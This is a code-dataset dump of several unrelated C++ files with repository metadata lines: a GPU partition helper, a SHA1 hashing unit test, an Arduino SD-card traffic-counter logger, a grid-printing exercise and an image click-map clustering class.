bool haveConfigurableCPUGPUMap(){
ConfigurableCPUGPUMapLoader &loader = CkpvAccess(myConfigGPUCPUMapLoader);
return loader.haveConfiguration();
}
int configurableCPUGPUMapNumNodes(){
ConfigurableCPUGPUMapLoader &loader = CkpvAccess(myConfigGPUCPUMapLoader);
return loader.numNodes;
}
bool isPartitionCPU(int partition){
ConfigurableCPUGPUMapLoader &loader = CkpvAccess(myConfigGPUCPUMapLoader);
int l = partition % loader.objs_per_block;
return loader.locations[l] == 'C';
}
bool isPartitionGPU(int partition){
return ! isPartitionCPU(partition);
}
#include "ParFUM_Iterators.def.h"
| 36.320288 | 404 | 0.635696 | scottkwarren |
2d6b75e40d6908cef5f34cc874ffc0696777c42f | 1,988 | cpp | C++ | cpp/tests/utilities_UT.cpp | MinesJA/meshNetwork | 5ffada57c13049cb00c2996fe239cdff6edf6f17 | [
"NASA-1.3"
] | 133 | 2017-06-24T02:44:28.000Z | 2022-03-25T05:17:00.000Z | cpp/tests/utilities_UT.cpp | MinesJA/meshNetwork | 5ffada57c13049cb00c2996fe239cdff6edf6f17 | [
"NASA-1.3"
] | null | null | null | cpp/tests/utilities_UT.cpp | MinesJA/meshNetwork | 5ffada57c13049cb00c2996fe239cdff6edf6f17 | [
"NASA-1.3"
] | 33 | 2017-06-19T03:24:40.000Z | 2022-02-03T20:13:12.000Z | #include "tests/utilities_UT.hpp"
#include <gtest/gtest.h>
#include <iostream>
#include <unistd.h>
#include <string>
namespace util
{
Utilities_UT::Utilities_UT()
{
}
void Utilities_UT::SetUpTestCase(void) {
}
void Utilities_UT::SetUp(void)
{
}
TEST_F(Utilities_UT, hashElement) {
SHA_CTX context;
SHA1_Init(&context);
// Test hashing of int
unsigned int intVal = 120;
unsigned char hashVal[20] = {119, 91, 197, 195, 14, 39, 240, 229, 98, 17, 93, 19, 110, 127, 126, 219, 211, 206, 173, 137};
hashElement(&context, intVal);
unsigned char outHash[20];
SHA1_Final(outHash, &context);
for (unsigned int i = 0; i < 20; i++) {
EXPECT_TRUE(outHash[i] == hashVal[i]);
}
// Test proper truncation of floats
double doubleVal = 123456789.987654321;
unsigned char doubleHashVal[20] = {57, 184, 2, 193, 35, 225, 250, 6, 9, 174, 32, 17, 151, 2, 189, 243, 98, 4, 114, 56};
SHA1_Init(&context);
hashElement(&context, doubleVal);
SHA1_Final(outHash, &context);
for (unsigned int i = 0; i < 20; i++) {
EXPECT_TRUE(outHash[i] == doubleHashVal[i]);
}
// Test equality of floats
SHA1_Init(&context);
hashElement(&context, 123456789.9876543);
SHA1_Final(outHash, &context);
for (unsigned int i = 0; i < 20; i++) {
EXPECT_TRUE(outHash[i] == doubleHashVal[i]);
}
// Test hashing of string
unsigned char strHashVal[20] = {32, 7, 193, 121, 130, 25, 101, 249, 148, 120, 27, 125, 133, 199, 187, 217, 166, 183, 81, 227};
std::string strVal = "thisIsAString";
SHA1_Init(&context);
hashElement(&context, strVal);
SHA1_Final(outHash, &context);
for (unsigned int i = 0; i < 20; i++) {
EXPECT_TRUE(outHash[i] == strHashVal[i]);
}
}
}
| 30.584615 | 134 | 0.555835 | MinesJA |
2d6c1457d640b0b9a5a7bb7449222b328397bb5a | 4,181 | cpp | C++ | sd_log.cpp | jekhor/pneumatic-tc-firmware | a532d78a154cc963d98c239c916485f5383f3dcf | [
"CC-BY-3.0"
] | 1 | 2018-10-08T13:28:32.000Z | 2018-10-08T13:28:32.000Z | sd_log.cpp | jekhor/pneumatic-tc-firmware | a532d78a154cc963d98c239c916485f5383f3dcf | [
"CC-BY-3.0"
] | 9 | 2019-08-21T18:07:49.000Z | 2019-09-30T19:48:28.000Z | sd_log.cpp | jekhor/pneumatic-tc-firmware | a532d78a154cc963d98c239c916485f5383f3dcf | [
"CC-BY-3.0"
] | null | null | null |
#include <SPI.h>
#include <SdFat.h>
#include <errno.h>
#include "sd_log.h"
#include "common.h"
#define SPI_SPEED SD_SCK_MHZ(8)
const uint8_t sd_CS = 10;
static bool sdReady = 0;
SdFat sd;
SdFile root;
static SdFile dataFile;
static SdFile rawLogFile;
static bool dataFileOpened = 0;
static bool rawFileOpened = 0;
static uint8_t dataFileHour;
static char logFilename[13]; /* 8.3 filename + \0 */
int isSdReady(void)
{
return sdReady;
}
char *currentLogFilename(void)
{
return logFilename;
}
const char sd_counter_dir[] = "/counter";
void setup_sd()
{
Serial.print(F("\nInit SD..."));
if (!sd.begin(sd_CS, SPI_SPEED))
goto err;
if (!sd.exists(sd_counter_dir))
sd.mkdir(sd_counter_dir);
if (!root.open(sd_counter_dir, O_READ))
goto err;
sdReady = 1;
Serial.println(F("SD OK"));
#ifdef DEBUG_MEMORY
Serial.print(F("freeMemory()="));
Serial.println(freeMemory());
#endif
return;
err:
sdReady = 0;
Serial.println(F("SD ERROR"));
}
static char *make_filename(char *buf, time_t time)
{
char *p = buf;
itoa_10lz(p, year(time) % 100, 2);
p += 2;
itoa_10lz(p, month(time), 2);
p += 2;
itoa_10lz(p, day(time), 2);
p += 2;
itoa_10lz(p, hour(time), 2);
p += 2;
p[0] = '.';
p[1] = 'C';
p[2] = 'S';
p[3] = 'V';
p[4] = '\0';
return buf;
}
int sdFileOpen()
{
time_t t = now();
if (dataFileOpened && (hour(t) != dataFileHour)) {
dataFile.close();
dataFileOpened = 0;
}
if (!dataFileOpened) {
bool exists;
#ifdef DEBUG_MEMORY
Serial.print(F("freeMemory()="));
Serial.println(freeMemory());
#endif
dataFileHour = hour(t);
make_filename(logFilename, t);
Serial.println(logFilename);
exists = root.exists(logFilename);
if (dataFile.open(&root,
logFilename, O_CREAT | O_WRITE | O_APPEND)) {
dataFileOpened = 1;
if (!exists)
dataFile.println(F("ts,time,count,direction,speed,length,bat_mV"));
} else {
Serial.println(F("Cannot open logfile"));
return 1;
}
}
return 0;
}
int sdRawFileOpen()
{
if (!rawFileOpened) {
if (rawLogFile.open(&root,
"raw.log", O_CREAT | O_WRITE | O_APPEND)) {
rawFileOpened = 1;
} else {
Serial.println(F("Cannot open raw log file"));
return -EIO;
}
}
return 0;
}
int logToSd(int count, int direction, float speed, float length, time_t time, bool verbose)
{
static char buf[STRBUF_TIME_SIZE];
sprintf_time(buf, time);
if (verbose) {
Serial.print("V:");
Serial.print(time - LOCAL_TIME_OFFSET); /* UTC Unix timestamp */
Serial.print(",");
Serial.print(buf);
Serial.print(",");
Serial.print(count);
Serial.print(",");
Serial.print(direction);
Serial.print(",");
Serial.print(speed);
Serial.print(",");
Serial.print(length);
Serial.print(",");
Serial.println(readBattery_mV());
}
if (!sdReady) {
return 1;
}
if (sdFileOpen())
return 1;
#ifdef DEBUG_MEMORY
Serial.print(F("freeMemory()="));
Serial.println(freeMemory());
#endif
dataFile.print(time - LOCAL_TIME_OFFSET); /* UTC Unix timestamp */
dataFile.print(",");
dataFile.print(buf);
dataFile.print(",");
dataFile.print(count);
dataFile.print(",");
dataFile.print(direction);
dataFile.print(",");
dataFile.print(speed);
dataFile.print(",");
dataFile.print(length);
dataFile.print(",");
dataFile.println(readBattery_mV());
dataFile.sync();
return 0;
}
int logToSdRaw(time_t time, struct hit *hit_series, uint8_t count)
{
if (!sdReady)
return -EIO;
if (sdRawFileOpen())
return -EIO;
rawLogFile.print(localtime2utc(time));
rawLogFile.print(", ");
for (int i = 0; i < count; i++) {
rawLogFile.print(hit_series[i].channel);
rawLogFile.print(":");
rawLogFile.print(hit_series[i].time);
rawLogFile.print(" ");
}
rawLogFile.println();
rawLogFile.sync();
return 0;
}
char dumpSdLog(char *file)
{
if (!sdReady)
return 1;
if (!file) {
sdFileOpen();
file = currentLogFilename();
}
if (dataFileOpened) {
dataFile.close();
dataFileOpened = 0;
}
if (!dataFile.open(&root, file, O_READ)) {
Serial.print(F("Failed to open file "));
Serial.println(file);
return 1;
}
while (dataFile.available())
Serial.write(dataFile.read());
Serial.println("");
dataFile.close();
return 0;
}
| 17.348548 | 91 | 0.651519 | jekhor |
2d6d97a78b074c005566715494b8152f51378362 | 470 | cpp | C++ | 1-8-4z.cpp | Kaermor/stepik-course363-cpp | 7df3381ee5460565754745b6d48ed3f1324e73ef | [
"Apache-2.0"
] | null | null | null | 1-8-4z.cpp | Kaermor/stepik-course363-cpp | 7df3381ee5460565754745b6d48ed3f1324e73ef | [
"Apache-2.0"
] | null | null | null | 1-8-4z.cpp | Kaermor/stepik-course363-cpp | 7df3381ee5460565754745b6d48ed3f1324e73ef | [
"Apache-2.0"
] | null | null | null | //
// Created by grey on 22.10.2019.
//
#include <iostream>
using namespace std;
void foo_1_8_4z(){
int n;
cin >> n;
char a[n][n];
for (int i = 0; i < n; ++i) {
for (int j = 0; j < n; ++j) {
if (i == j || j == n/2 || i == n/2 || i + j == n - 1){
a[i][j] = '*';
}
else {
a[i][j] = '.';
}
cout << a[i][j] << " ";
}
cout << endl;
}
}
| 18.076923 | 66 | 0.308511 | Kaermor |
2d6e9fc72292cfb048c0a97929ab110415a92fe3 | 11,839 | cpp | C++ | src/ClickMap.cpp | ebshimizu/node-compositor | 4d1f3fea34e19c683e71e29036a18a28de33ec0d | [
"MIT"
] | null | null | null | src/ClickMap.cpp | ebshimizu/node-compositor | 4d1f3fea34e19c683e71e29036a18a28de33ec0d | [
"MIT"
] | 1 | 2021-09-01T02:37:58.000Z | 2021-09-01T02:37:58.000Z | src/ClickMap.cpp | ebshimizu/node-compositor | 4d1f3fea34e19c683e71e29036a18a28de33ec0d | [
"MIT"
] | null | null | null | #include "ClickMap.h"
namespace Comp {
PixelClickData::PixelClickData(int length)
{
_activations.resize(length);
for (int i = 0; i < _activations.size(); i++) {
_activations[i] = false;
}
_count = 0;
}
PixelClickData::PixelClickData(const PixelClickData & other)
{
_activations = other._activations;
_count = other._count;
}
PixelClickData & PixelClickData::operator=(const PixelClickData & other)
{
// self assignment check
if (&other == this)
return *this;
_activations = other._activations;
_count = other._count;
return *this;
}
PixelClickData::~PixelClickData()
{
}
void PixelClickData::setLayerState(int index, bool active)
{
if ((_activations[index] && active) || (!_activations[index] && !active)) {
// this is a nop
return;
}
_activations[index] = active;
_count += (active) ? 1 : -1;
}
bool PixelClickData::isActivated(int index)
{
return _activations[index];
}
void PixelClickData::merge(PixelClickData & other)
{
// count reset
_count = 0;
// basically an or operation
for (int i = 0; i < _activations.size(); i++) {
_activations[i] = _activations[i] | other._activations[i];
if (_activations[i])
_count++;
}
}
vector<bool> PixelClickData::getActivations()
{
return _activations;
}
vector<int> PixelClickData::getActivationIds()
{
vector<int> ret;
for (int i = 0; i < _activations.size(); i++) {
if (_activations[i]) {
ret.push_back(i);
}
}
return ret;
}
bool PixelClickData::sameActivations(shared_ptr<PixelClickData> other)
{
for (int i = 0; i < _activations.size(); i++) {
if (other->_activations[i] != _activations[i])
return false;
}
return true;
}
int PixelClickData::getCount()
{
return _count;
}
int PixelClickData::length()
{
return _activations.size();
}
ClickMap::ClickMap(int w, int h, vector<string> order, map<string, shared_ptr<ImportanceMap>> maps, vector<bool> adjustments) :
_w(w), _h(h), _layerOrder(order), _srcImportanceMaps(maps), _adjustmentLayers(adjustments)
{
_clickMap.resize(_w * _h);
}
ClickMap::~ClickMap()
{
}
void ClickMap::init(float threshold, bool normalizeMaps, bool includeAdjustmentLayers)
{
_threshold = threshold;
for (auto& map : _srcImportanceMaps) {
// duplicate
_workingImportanceMaps[map.first] = shared_ptr<ImportanceMap>(new ImportanceMap(*(map.second.get())));
if (normalizeMaps) {
_workingImportanceMaps[map.first]->normalize();
}
}
// ok so here we'll create the pixelclickdata for each pixel and initialize it with
// the layers the are above the threshold
// pixel data first, then layers in order
for (int i = 0; i < _clickMap.size(); i++) {
_clickMap[i] = shared_ptr<PixelClickData>(new PixelClickData(_layerOrder.size()));
}
// for each layer, check if the importance map is above threshold, if so, flip the
// bit for the pixel
for (int i = 0; i < _layerOrder.size(); i++) {
// if it's an adjustment layer, compeltely skip it
if (_adjustmentLayers[i])
continue;
string layerName = _layerOrder[i];
shared_ptr<ImportanceMap> impMap = _workingImportanceMaps[layerName];
getLogger()->log("[ClickMap] Initializing layer " + layerName + " (" + to_string(i) + ") ...");
for (int p = 0; p < _clickMap.size(); p++) {
if (impMap->_data[p] > _threshold) {
_clickMap[p]->setLayerState(i, true);
}
}
getLogger()->log("[ClickMap] Layer " + layerName + " (" + to_string(i) + ") Initialization Complete");
}
// check the max depth that we have
_maxDepth = 0;
for (int i = 0; i < _clickMap.size(); i++) {
if (_clickMap[i]->getCount() > _maxDepth) {
_maxDepth = _clickMap[i]->getCount();
}
}
getLogger()->log("[ClickMap] Initialization complete. Max Depth: " + to_string(_maxDepth));
}
void ClickMap::compute(int targetDepth)
{
// the main part of the click map, here we'll iteratively smooth and sparsify the map
int currentDepth = _maxDepth;
getLogger()->log("[ClickMap] Computation started. Current Depth: " + to_string(currentDepth) + ". Target Depth: " + to_string(targetDepth));
while (currentDepth > targetDepth) {
// reduce current depth
currentDepth--;
getLogger()->log("[ClickMap] Depth level " + to_string(currentDepth) + " of " + to_string(targetDepth));
getLogger()->log("[ClickMap] Smooth computation start for depth level " + to_string(currentDepth));
// merge
smooth();
getLogger()->log("[ClickMap] Smooth computation complete for depth level " + to_string(currentDepth));
getLogger()->log("[ClickMap] Sparsify computation start for depth level " + to_string(currentDepth));
// sparsify
sparsify(currentDepth);
getLogger()->log("[ClickMap] Sparsify computation complete for depth level " + to_string(currentDepth));
getLogger()->log("[ClickMap] Depth level " + to_string(currentDepth) + " of " + to_string(targetDepth) + " computation complete.");
}
}
Image* ClickMap::visualize(VisualizationType t)
{
Image* ret = new Image(_w, _h);
vector<unsigned char>& data = ret->getData();
if (t == VisualizationType::CLUSTERS) {
// need to index the number of unique objects then assign colors
map<shared_ptr<PixelClickData>, float> clusters;
for (int i = 0; i < _clickMap.size(); i++) {
clusters[_clickMap[i]] = 0;
}
// color assignment, hue
int i = 0;
for (auto& c : clusters) {
c.second = (360.0f / (clusters.size()) * i);
i++;
}
// pixel assignment
for (int i = 0; i < _clickMap.size(); i++) {
int pxIndex = i * 4;
float hue = clusters[_clickMap[i]];
auto color = Utils<float>::HSLToRGB(hue, 1, 0.5);
data[pxIndex] = color._r * 255;
data[pxIndex + 1] = color._g * 255;
data[pxIndex + 2] = color._b * 255;
data[pxIndex + 3] = 255;
}
}
else if (t == VisualizationType::UNIQUE_CLUSTERS) {
// this time we work on the bitvectors
map<vector<bool>, float> clusters;
for (int i = 0; i < _clickMap.size(); i++) {
clusters[_clickMap[i]->getActivations()] = 0;
}
// color assignment, hue
int i = 0;
for (auto& c : clusters) {
c.second = (360.0f / (clusters.size()) * i);
i++;
}
// pixel assignment
for (int i = 0; i < _clickMap.size(); i++) {
int pxIndex = i * 4;
float hue = clusters[_clickMap[i]->getActivations()];
auto color = Utils<float>::HSLToRGB(hue, 1, 0.5);
data[pxIndex] = color._r * 255;
data[pxIndex + 1] = color._g * 255;
data[pxIndex + 2] = color._b * 255;
data[pxIndex + 3] = 255;
}
}
else if (t == VisualizationType::LAYER_DENSITY) {
int vmax = 0;
for (int i = 0; i < _clickMap.size(); i++) {
if (_clickMap[i]->getCount() > vmax)
vmax = _clickMap[i]->getCount();
}
for (int i = 0; i < _clickMap.size(); i++) {
int pxIndex = i * 4;
float color = (float)(_clickMap[i]->getCount()) / vmax;
data[pxIndex] = color * 255;
data[pxIndex + 1] = color * 255;
data[pxIndex + 2] = color * 255;
data[pxIndex + 3] = 255;
}
}
return ret;
}
vector<string> ClickMap::activeLayers(int x, int y)
{
// bounds check
if (x < 0 || x >= _w || y < 0 || y >= _h)
return vector<string>();
vector<string> layers;
int idx = index(x, y);
// get layer names from the thing
shared_ptr<PixelClickData> data = _clickMap[idx];
vector<int> active = data->getActivationIds();
for (int i = 0; i < active.size(); i++) {
layers.push_back(_layerOrder[active[i]]);
}
return layers;
}
void ClickMap::smooth()
{
// from top left to bottom right, check each pixel, see if it's literally identical
// to the next one, and if so merge it
// we should note here that this is hilariously bad and simplistic for merging so
// it stands as a first implementation
// 8 directional check, maybe redundant but eh
vector<int> xdiff = { -1, 0, 1, -1, 1, -1, 0, 1 };
vector<int> ydiff = { -1, -1, -1, 0, 0, 1, 1, 1 };
for (int y = 0; y < _h; y++) {
getLogger()->log("[ClickMap] smooth row: " + to_string(y) + "/" + to_string(_h), LogLevel::SILLY);
for (int x = 0; x < _w; x++) {
int current = index(x, y);
for (int delta = 0; delta < xdiff.size(); delta++) {
int dx = x + xdiff[delta];
int dy = y + ydiff[delta];
if (dx < 0 || dx >= _w || dy < 0 || dy >= _h)
continue;
int next = index(dx, dy);
// if they're not literally the same pointer
if (_clickMap[current] != _clickMap[next]) {
// check for equality
if (_clickMap[current]->sameActivations(_clickMap[next])) {
// this should overwrite the pointer in next and it should be automatically destroyed
_clickMap[next] = _clickMap[current];
}
}
}
}
}
}
void ClickMap::sparsify(int currentDepth)
{
getLogger()->log("[ClickMap] Sparsify depth " + to_string(currentDepth));
// first, we need a list of the number of active pixels for each layer
// this can be an array since everything is indexed by array id at this point
vector<int> activePixelCount;
activePixelCount.resize(_layerOrder.size());
for (int i = 0; i < _clickMap.size(); i++) {
for (int layerId = 0; layerId < _layerOrder.size(); layerId++) {
if (_clickMap[i]->isActivated(layerId))
activePixelCount[layerId] += 1;
}
}
// log some data
for (int i = 0; i < activePixelCount.size(); i++) {
getLogger()->log("[ClickMap] layer " + _layerOrder[i] + " has " + to_string(activePixelCount[i]) + " active pixels");
}
// sparsify unique clusters
set<shared_ptr<PixelClickData>> uniqueClusters = getUniqueClusters();
int clusterNum = 0;
for (auto& cluster : uniqueClusters) {
getLogger()->log("[ClickMap] Sparsify cluster " + to_string(clusterNum) + "/" + to_string(uniqueClusters.size()), LogLevel::SILLY);
// if we are above the current depth, we need to make sparse
if (cluster->getCount() > currentDepth) {
// of the affected layers, remove the one with the largest total count
int max = 0;
int id = -1;
// logging string
stringstream ss;
ss << "[ClickMap] cluster " << cluster << " above max depth. culling...\n";
ss << "gathering options:\n";
vector<int> active = cluster->getActivationIds();
for (auto& aid : active) {
ss << _layerOrder[aid] << ": " << activePixelCount[aid] << "\n";
if (activePixelCount[aid] > max) {
max = activePixelCount[aid];
id = aid;
}
}
ss << _layerOrder[id] << " selected for removal with count " << activePixelCount[id] << "\n";
cluster->setLayerState(id, false);
getLogger()->log(ss.str(), LogLevel::SILLY);
getLogger()->log("[ClickMap] recomputing layer activations...", LogLevel::SILLY);
// recompute active pixel count
activePixelCount.clear();
activePixelCount.resize(_layerOrder.size());
for (int i = 0; i < _clickMap.size(); i++) {
for (int layerId = 0; layerId < _layerOrder.size(); layerId++) {
if (_clickMap[i]->isActivated(layerId))
activePixelCount[layerId] += 1;
}
}
// log some data
for (int i = 0; i < activePixelCount.size(); i++) {
getLogger()->log("[ClickMap] layer " + _layerOrder[i] + " has " + to_string(activePixelCount[i]) + " active pixels", LogLevel::SILLY);
}
clusterNum++;
}
}
}
set<shared_ptr<PixelClickData>> ClickMap::getUniqueClusters()
{
set<shared_ptr<PixelClickData>> uc;
// so uh, basically just throw everything in like it's a set it'll do the thing
for (int i = 0; i < _clickMap.size(); i++) {
uc.insert(_clickMap[i]);
}
return uc;
}
} | 27.92217 | 142 | 0.617789 | ebshimizu |
2d7055704f9f08256a77033ae6119cf4dc222a53 | 7,699 | cpp | C++ | src/commands.cpp | Bobscorn/match-making | f3d280086fe1de34b4faac853c8d69721371fd98 | [
"Unlicense"
] | 4 | 2021-12-24T07:58:02.000Z | 2022-03-03T17:13:46.000Z | src/commands.cpp | Bobscorn/match-making-server | f3d280086fe1de34b4faac853c8d69721371fd98 | [
"Unlicense"
] | 27 | 2021-12-18T20:59:10.000Z | 2022-03-06T02:46:11.000Z | src/commands.cpp | Bobscorn/match-making-server | f3d280086fe1de34b4faac853c8d69721371fd98 | [
"Unlicense"
] | null | null | null | #include "commands.h"
#include "interfaces.h"
#include "client.h"
#include "filetransfer.h"
#include <string.h>
#include <string>
#include <sstream>
Commands Commands::_singleton = Commands();
bool Commands::commandSaidQuit(
std::string input_message,
std::unique_ptr<IDataSocketWrapper>& peer_socket,
client_init_kit& i_kit,
client_peer_kit& p_kit,
std::unique_lock<std::shared_mutex>& take_message_lock) {
auto msg_found = input_message.find(MESSAGE);
auto file_found = input_message.find(FILE);
auto delay_found = input_message.find(DELAY);
auto debug_found = input_message.find(DEBUG);
auto help_found = input_message.find(HELP);
auto quit_found = input_message.find(QUIT);
if(msg_found != std::string::npos) {
auto text = input_message.substr(msg_found + 1 + strlen(MESSAGE));
return handleMessage(text, peer_socket, i_kit);
}
else if(file_found != std::string::npos) {
auto text = input_message.substr(file_found + 1 + strlen(FILE));
return handleFiles(text, p_kit);
}
else if(delay_found != std::string::npos) {
return handleDelay(i_kit);
}
else if (debug_found != std::string::npos) {
return handleDebug(i_kit, p_kit);
}
else if(help_found != std::string::npos) {
return handleHelp();
}
else if(quit_found != std::string::npos) {
return handleQuit(take_message_lock);
}
else {
std::cout << "Unknown command: " << input_message << std::endl;
std::cout << "Type 'help' to see available commands" << std::endl;
return false;
}
}
bool Commands::handleMessage(std::string input_message, std::unique_ptr<IDataSocketWrapper>& peer_socket, client_init_kit& i_kit) {
if (peer_socket)
{
std::cout << "Sending string of: " << input_message << std::endl;
peer_socket->send_data(create_message(MESSAGE_TYPE::PEER_MSG, input_message));
}
else
std::cout << "Can not send to peer, we have no peer connection" << std::endl;
return false;
}
bool Commands::handleFiles(std::string input_message, client_peer_kit& peer_kit) {
std::cout << "Starting file transfer" << std::endl;
if (peer_kit.file_sender)
{
std::cout << "Existing file transfer exists!" << std::endl;
return false;
}
FileHeader header;
size_t last_dot = input_message.find_last_of(".");
if (last_dot == std::string::npos)
{
header.filename = input_message;
header.extension = "";
}
else
{
auto filename = input_message.substr(0, last_dot);
auto extension = input_message.substr(last_dot + 1);
header.filename = filename;
header.extension = extension;
}
peer_kit.file_sender = FileTransfer::BeginTransfer(header, peer_kit.peer_socket);
if(peer_kit.file_sender == nullptr) {
return false;
}
std::cout << "Sending file with name: '" << header.filename << "' and extension '" << header.extension << "' (" << header.filename << "." << header.extension << ")" << std::endl;
return false;
}
bool Commands::handleDelay(client_init_kit& i_kit) {
if (i_kit.status == EXECUTION_STATUS::RENDEZVOUS)
{
std::cout << "Delaying this peer's hole punch" << std::endl;
i_kit.do_delay = true;
}
else
{
std::cout << "Too late in execution to delay hole punching" << std::endl;
}
return false;
}
bool Commands::handleDebug(client_init_kit& i_kit, client_peer_kit& peer_kit) {
std::cout << "Protocol: " << (i_kit.protocol.is_tcp() ? "TCP" : (i_kit.protocol.is_udp() ? "UDP" : "Unknown...")) << std::endl;
std::cout << "Current State: ";
switch (i_kit.status)
{
case EXECUTION_STATUS::RENDEZVOUS:
{
std::cout << "Rendezvousing with server" << std::endl;
auto& server_conn = i_kit.get_server_socket();
if (!server_conn)
std::cout << "Connection to server appears to be null" << std::endl;
else
{
std::cout << "Connected to server at: " << server_conn->get_identifier_str() << std::endl;
}
}
break;
case EXECUTION_STATUS::HOLE_PUNCH:
std::cout << "Hole punching to peer" << std::endl;
if (!peer_kit.public_connector)
std::cout << "Public connector is null" << std::endl;
else
std::cout << "Public connector: " << peer_kit.public_connector->get_identifier_str() << std::endl;
if (!peer_kit.private_connector)
std::cout << "Private connector is null" << std::endl;
else
std::cout << "Private connector: " << peer_kit.private_connector->get_identifier_str() << std::endl;
if (!peer_kit.listen_sock)
std::cout << "Listen socket is null" << std::endl;
else
std::cout << "Listen socket: " << peer_kit.listen_sock->get_identifier_str() << std::endl;
break;
case EXECUTION_STATUS::PEER_CONNECTED:
std::cout << "Connected to peer" << std::endl;
if (!peer_kit.peer_socket)
std::cout << "Peer socket is null (a bug)" << std::endl;
else
std::cout << "Peer socket is: " << peer_kit.peer_socket->get_identifier_str() << std::endl;
if (peer_kit.file_sender)
std::cout << "There is an active file sending: " << peer_kit.file_sender->getProgressString() << std::endl;
else
std::cout << "There is no active file sending" << std::endl;
if (peer_kit.file_receiver)
std::cout << "There is an active file receiving: " << peer_kit.file_receiver->getProgressString() << std::endl;
else
std::cout << "There is no active file being received" << std::endl;
break;
default:
std::cout << es_to_string(i_kit.status) << " Client should not be in this state, potentially a bug" << std::endl;
break;
};
return false;
}
void print_help()
{
auto space = "\t";
std::cout << "PTOP Peer v2 is running" << std::endl;
std::cout << "Runtime commands:" << std::endl;
std::cout << space << "file: [filename]" << std::endl;
std::cout << space << space << "sends a file to your peer (not currently implemented)" << std::endl;
std::cout << std::endl;
std::cout << space << "msg: [text]" << std::endl;
std::cout << space << space << "sends plain text message of [text] (without braces) to your peer" << std::endl;
std::cout << space << space << "example: \"msg: banana\" will send 'banana' to your peer" << std::endl;
std::cout << std::endl;
std::cout << space << "delay" << std::endl;
std::cout << space << space << "delays this peer's hole punch call by a set amount (changes and cbf updating this every time)" << std::endl;
std::cout << space << space << "this must be called before this peer tries to hole punch" << std::endl;
std::cout << std::endl;
std::cout << space << "quit" << std::endl;
std::cout << space << space << "closes the program" << std::endl;
std::cout << std::endl;
std::cout << space << "debug" << std::endl;
std::cout << space << space << "outputs current status and relevant information" << std::endl;
}
bool Commands::handleHelp() {
print_help();
return false;
}
bool Commands::handleQuit(std::unique_lock<std::shared_mutex>& take_message_lock) {
std::cout << "Quitting..." << std::endl;
take_message_lock.unlock();
return true;
} | 36.661905 | 182 | 0.596571 | Bobscorn |
2d73e45d9cbdae04872b0a94ab0ea895ec28f591 | 4,213 | hpp | C++ | Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp | MarkStega/CQC | c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07 | [
"MIT"
] | 51 | 2020-12-26T18:17:16.000Z | 2022-03-15T04:29:35.000Z | Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp | MarkStega/CQC | c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07 | [
"MIT"
] | null | null | null | Source/AllProjects/RemBrws/CQCTreeBrws/CQCTreeBrws_ChangeDrvSrvDlg_.hpp | MarkStega/CQC | c1d0e01ec2abcaa5b8eb1899b9f0522fecee4b07 | [
"MIT"
] | 4 | 2020-12-28T07:24:39.000Z | 2021-12-29T12:09:37.000Z | //
// FILE NAME: CQCTreeBrws_ChangeDrvSrvDlg.hpp
//
// AUTHOR: Dean Roddey
//
// CREATED: 10/02/2016
//
// COPYRIGHT: Charmed Quark Systems, Ltd @ 2020
//
// This software is copyrighted by 'Charmed Quark Systems, Ltd' and
// the author (Dean Roddey.) It is licensed under the MIT Open Source
// license:
//
// https://opensource.org/licenses/MIT
//
// DESCRIPTION:
//
// This is the header for the CQCTreeBrws_ChangeDrvSrvDlg.cpp file, which implements
// the TChangeDrvSrvDlg class. This dialog allows the user to change the host for which
// drivers are configured, for when they change the host name or move the CQC install
// to a new machine. They click on the current server name, and we let them select a
// new server. If they commit, we just return the selected host, and the caller will
// do the work.
//
// CAVEATS/GOTCHAS:
//
// LOG:
//
// $Log$
//
#pragma once
#pragma CIDLIB_PACK(CIDLIBPACK)
// ---------------------------------------------------------------------------
// CLASS: TChangeDrvSrvDlg
// PREFIX: dlg
// ---------------------------------------------------------------------------
class TChangeDrvSrvDlg : public TDlgBox
{
public :
// -------------------------------------------------------------------
// Constructors and Destructor
// -------------------------------------------------------------------
TChangeDrvSrvDlg();
TChangeDrvSrvDlg(const TChangeDrvSrvDlg&) = delete;
~TChangeDrvSrvDlg();
// -------------------------------------------------------------------
// Public operators
// -------------------------------------------------------------------
TChangeDrvSrvDlg& operator=(const TChangeDrvSrvDlg&) = delete;
// -------------------------------------------------------------------
// Public, non-virtual methods
// -------------------------------------------------------------------
tCIDLib::TBoolean bRun
(
const TWindow& wndOwner
, const tCIDLib::TStrList& colList
, const TString& strOrgHost
, TString& strSelected
);
protected :
// -------------------------------------------------------------------
// Protected inherited methods
// -------------------------------------------------------------------
tCIDLib::TBoolean bCreated() override;
private :
// -------------------------------------------------------------------
// Private, non-virtual methods
// -------------------------------------------------------------------
tCIDCtrls::EEvResponses eClickHandler
(
TButtClickInfo& wnotEvent
);
tCIDCtrls::EEvResponses eLBHandler
(
TListChangeInfo& wnotEvent
);
// -------------------------------------------------------------------
// Private data members
//
// m_pcolList
// This is the list of servers the caller wants us to select between.
//
// m_pwndXXX
// We get typed pointers to controls we need to interact with
//
// m_strOrgHost
// The original host from which the driver's will be moved, so that we can
// put into the instruction text.
//
// m_strSelected
// The host selected until we can get it back to the caller's parameters.
// -------------------------------------------------------------------
const tCIDLib::TStrList* m_pcolHosts;
TPushButton* m_pwndCancel;
TPushButton* m_pwndChange;
TMultiColListBox* m_pwndList;
TString m_strOrgHost;
TString m_strSelected;
// -------------------------------------------------------------------
// Magic Macros
// -------------------------------------------------------------------
RTTIDefs(TChangeDrvSrvDlg,TDlgBox)
};
#pragma CIDLIB_POPPACK
| 33.436508 | 88 | 0.411108 | MarkStega |
2d73e57208714aeedd1889bbd7ccc1662e1c9eb9 | 4,119 | cpp | C++ | src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp | Peixinho/Pyros3D | d6857ce99f3731a851ca5e7d67afbb13aafd18e0 | [
"MIT"
] | 20 | 2016-02-15T23:22:06.000Z | 2021-12-07T00:13:49.000Z | src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp | Peixinho/Pyros3D | d6857ce99f3731a851ca5e7d67afbb13aafd18e0 | [
"MIT"
] | 1 | 2017-09-04T00:28:19.000Z | 2017-09-05T11:00:12.000Z | src/Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.cpp | Peixinho/Pyros3D | d6857ce99f3731a851ca5e7d67afbb13aafd18e0 | [
"MIT"
